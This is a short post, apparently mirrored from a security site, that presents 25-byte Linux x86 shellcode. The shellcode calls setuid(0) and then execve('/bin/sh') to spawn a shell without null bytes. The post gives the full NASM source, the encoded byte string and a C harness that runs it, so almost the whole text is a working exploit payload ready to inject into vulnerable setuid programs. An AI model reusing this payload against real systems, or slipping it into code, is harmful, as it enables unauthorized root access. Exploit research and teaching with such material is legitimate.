linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 25 bytes

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linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 25 bytes

来源：http://opensec.es 作者：Garcia 发布时间：2008-11-24

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL

History:
   + v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/
   + v2.0 (26 bytes) => (http://vlan7.blogspot.com/) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################

[NASM_SOURCE_CODE]
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
[/NASM_SOURCE_CODE]

[C_SOURCE_CODE]
#include <stdio.h>

const char shellcode[]=    "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
           "\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
   printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + sch3m4@opensec.es"
           "\n\t + http://opensec.es"
           "\n\n[+] Date: 22/11/2008"
           "\n\n[+] Thanks to: vlan7"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         (*(void (*)()) shellcode)();

   return 0;
}
[/C_SOURCE_CODE]

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